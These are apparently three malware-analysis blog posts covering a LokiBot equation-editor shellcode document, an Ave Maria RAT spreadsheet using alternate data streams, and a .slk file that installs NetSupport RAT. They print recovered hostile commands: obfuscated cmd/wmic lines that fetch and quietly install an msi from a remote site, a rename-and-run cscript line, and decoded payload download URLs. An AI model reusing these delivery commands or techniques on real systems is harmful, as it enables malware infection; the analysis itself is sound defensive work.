LokiBot: Getting Equation Editor Shellcode

While today’s analysis will be similar to one we’ve done before, it will be almost exactly the same as this one from SANS. Although it’s been done by others, it never hurts to practice using these tools and get that muscle memory down. We’ll be working off of this document right here: https://app.any.run/tasks/db864efd-35b3-4e91-9e84-c6149dbfd4d7.

OLEDUMP

Using oledump, we see a big chunk of data called ‘EncryptedPackage’.

In this case, it means that one or more sheets in the workbook have been locked to protect changes to the data.

But there are tools to get around this. By simply pointing msoffcrypto-crack.py at the document, we will see a familiar password pop up.

At this point, we could do one of two things. We could use msoffcrypto-crack.py to crack the password and output a new unprotected file of the same name…

… or we could just pipe the output directly into oledump.py. Doing so, we see that there are no macros or anything like that. Instead, we see ‘eQUaTiON naTIvE’.

Let’s dump that part of the object to another file where we can work on that.

We can use XORSearch.exe to search that binary file for various signatures of 32-bit shellcode. We see that GetEIP was found in two locations.

scDbg.exe

We then move to a shellcode emulator called scDbg.exe. We can load the dumped binary in there and feed it the offset position and to see if any sort of decoded shellcode appears.

And it does! Note that it dumped it to a file called oledump.unpack. However, notice how the unpacked information isn’t very informative. But that last line says, “Change found at 402438…”. We can use another tool called to cut-bytes.py to look at the oledump.unpack from that point. Notice strings such as LoadLibraryW… ExpandEnvironmentStringsW… APPDATA\vbc.exe… htp://frndgreen and so on.

But can we get this output in a little more… readable form? Yes, we can do with scDbg.exe again. First, let’s cut out only the bytes necessary.

Using oledump-cut.unpack, we do run into a problem when we toss it into scDbg.exe. We don’t see anything beyond ExpandEnvironmentStringsW.

The SANS blog post referenced at the beginning shows how to deal with this. It turns out that scDbg.exe does not hook ExpandEnvironmentStringsW. But it does hook ExpandEnvironmentStringsA. We can then try patching the .unpack file by overwriting the StringsW with StringsA. Save your change and then toss it back into scDbg.exe like we tried above.

Another option is to overwrite that character directly from the command line. Looking at the hex editor above, we can see that we are at offset 0x77. We can add that to the starting point in scDbg.exe like so:

We can now see everything in a much clearer format and it looks like it’s downloading Lokibot.

Thanks for reading!

Ave Maria RAT – .xls, ADS, and EQNEDT32!

Life is like a malicious document. You never know what you’re going to get. Or not. Either way, this document was really quite interesting with its twists and turns. We will be working off of this document right here: https://app.any.run/tasks/ce33bea3-9f2d-4507-ae43-2a96bb814bc5

A picture is often worth a thousand words. I mapped out the document, files, and processes into a single picture below. We’ll have to see if this picture simplifies the explanation or is the cause of a great number of words.

avemaria.jpg

Document

Using oledump.py, we can see that this document contains some macros (A3) and a few oleObject binaries (B2, C2, and D3). All of them need to be investigated.

picture_01.png

vbaProject.bin

The only macro worth looking at is Module1. The first few lines contain what looks like some base64 encoded strings. We can also see that a lot of strings are being added to variable s.

avemaria_02.png

Variable x contains a path to C:\programdata\asc.txt.

avemaria_03.png

In line 185, we can see that the text file asc.txt is going to get created, with an additional alternate data stream called script1.vbs. Line 195 writes the contents of s into script1.vbs.

avemaria_04.png

And finally, line 200 contains the part that uses cscript to run asc.txt:script1.vbs.

avemaria_05.png

asc.txt:script1.vbs

The two most important lines in this script are base64 encoded strings in lines 2 and 3. They decode to the URL and the name of the executable to download.

avemaria_06.png

fsdfdsfs = http[:]//5[.]199[.]143[.]127/bin.exe
yulkytjtrhtjrkdsarjky = bin.exe

Line 130 contains the command to download the executable and line 133 executes it.

avemaria_07.png

You’ll see from the any.run output, that while this macro is executed, it never makes a successful connection to 5.199.143.127. But that’s okay, the oleobject binaries were successful.

oleObject1.bin

This binary contains a file called xx which gets dropped in the temp location (C:\Users\[user]\AppData\Local\Temp\xx). More on this later.

oleObject2.bin

This binary contains a file called yy which also gets dropped in the temp location (C:\Users\[user]\AppData\Local\Temp\yy). Again, more on this later.

oleObject3.bin

This is where the secondary process really kicks off. Here’s what this binary contains:

avemaria_08.png

The equation editor (EQNEDT32.exe) take a hold of that string and executes it. This renames file yy to y.js and then executes it.

cmd /c ren %tmp%\yy y.js&CSCRipt %tmp%\y.js

y.js

Upon execution, this file changes file xx to xx.vbs (line 11 and function ChangeFileName). It then executes xx.vbs in line 12 and deletes y.js in line 15.

avemaria_09.png

xx.vbs

Structurally, xx.vbs is very similar to asc.txt:script1.vbs. The top contains the same base64 encoded strings. They run through functions to decode them. The end of the script downloads the binary and executes it.

avemaria_10.png

fsdfdsfs = http[:]//5[.]199[.]143[.]127/bin.exe
yulkytjtrhtjrkdsarjky = bin.exe

avemaria_11.png

In this case, xx.vbs actually did download .bin. Upon execution, it copied and renamed itself to C:\Users\[user]\AppData\Roaming\images.exe. It even adds itself to HKCU\SOftware\Microsoft\Windows\CurrentVersion\Run for persistence.

And when it executes, it reaches back out to 5.199.143.127.

Thanks for reading!

.slk files and NetSupport

Well.

This file didn’t behave normally at all. You could try to dump macros, but nothing would pop up (correction: I did not try olevba.py by @decalage2; this tool did correctly parse the file). Upon opening the document, you see all of these new child cmd.exe processes along with ping? That certainly wasn’t normal.

So I just decided to open it in notepad and see what I could see.

netsupport_03
Curiouser and curioser…

It turns out that even though this opens up in Excel, we can’t treat it as a regular excel spreadsheet at all. This is a .slk file, a.k.a. a SYmbolic LinK file. “It is used to exchange data between applications, specifically spreadsheets.” All of the code you see above are used to display the data when you open the .slk file.

If you scroll down far enough, you see our malicious code.

netsupport_04.png

The lines prefixed with the letter C are used for cell contents. We can see that EXEC (likely means ‘execute’) is used and some commands follow them. Let’s put them together.

"cmD.exe /c EChO|SE^t /p=""@echo off&wmic process call create 'Msie"">%temp%\OyHwU.bat"
"cmD.exe /c @echo off&ping 5&EcHo|s^et /p=""xec /ihttp^:^/^/^ahoyassociate"">>%temp%\OyHwU.bat"
"cmD.exe /c @echo off&ping 5&ping 5&EcHo|s^et /p=""s.com/contacts.php "">>%temp%\OyHwU.bat"
"cmD.exe /c @echo off&ping 5&ping 5&ping 5&EcHo|s^et /p="" ^/q'"">>%temp%\OyHwU.bat&%temp%\OyHwU.bat"

We can see that amongst all of the ping commands,  a series of strings get sent to a new .bat file in the %temp% folder and then executed. Investigating the .bat file confirms this. Put the whole string together and we see that Msiexec is used to install (/i) a file from a website (ahoyassociates.com) and do so quietly (/q).

@echo off&wmic process call create 'Msiexec /ihttp^:^/^/^ahoyassociates.com/contacts.php ^/q'

Although contacts.php is downloaded, it is really a .msi file.

netsupport_05.png

Once the .msi file is installed, it dumps a file called file.cab. It is then expanded using this command:

"C:\Windows\System32\expand.exe" -R files.cab -F:* files

files.cab is expanded to a file called safetycheck.exe. There is a great amount of activity after safetycheck.exe is executed. There is a long chain of cmd.exe ending with a powershell command being executed.

netsupport_06.png

Unfortunately, I wasn’t able get a copy from the any.run output of the .ps1 file that is dropped (but it looks like it might be here in this post) , but we can see that it does a couple of things:

  1. msiexec.exe: Reach out to http[:]//safuuf7774[.]pw/iplog/newg.php?hst=installing_USER-PC
  2. Reg.exe: \CurrentVersion\Run is modified to automatically start an executable named fonthost.exe.
  3. fonthost.exe (which got dropped from the powershell command)
    1. fonthost is the NetSupport Manager RAT
    2. It reaches out to 185.163.45.118/fakeurl.htm and starts sending encoded traffic back and forth.
  4. msiexec.exe: Looks like another attempt to reach out to the same URL as above.

 

So .slk files are not too difficult to analyze. But what comes after them may be far more complicated.

Thanks for reading.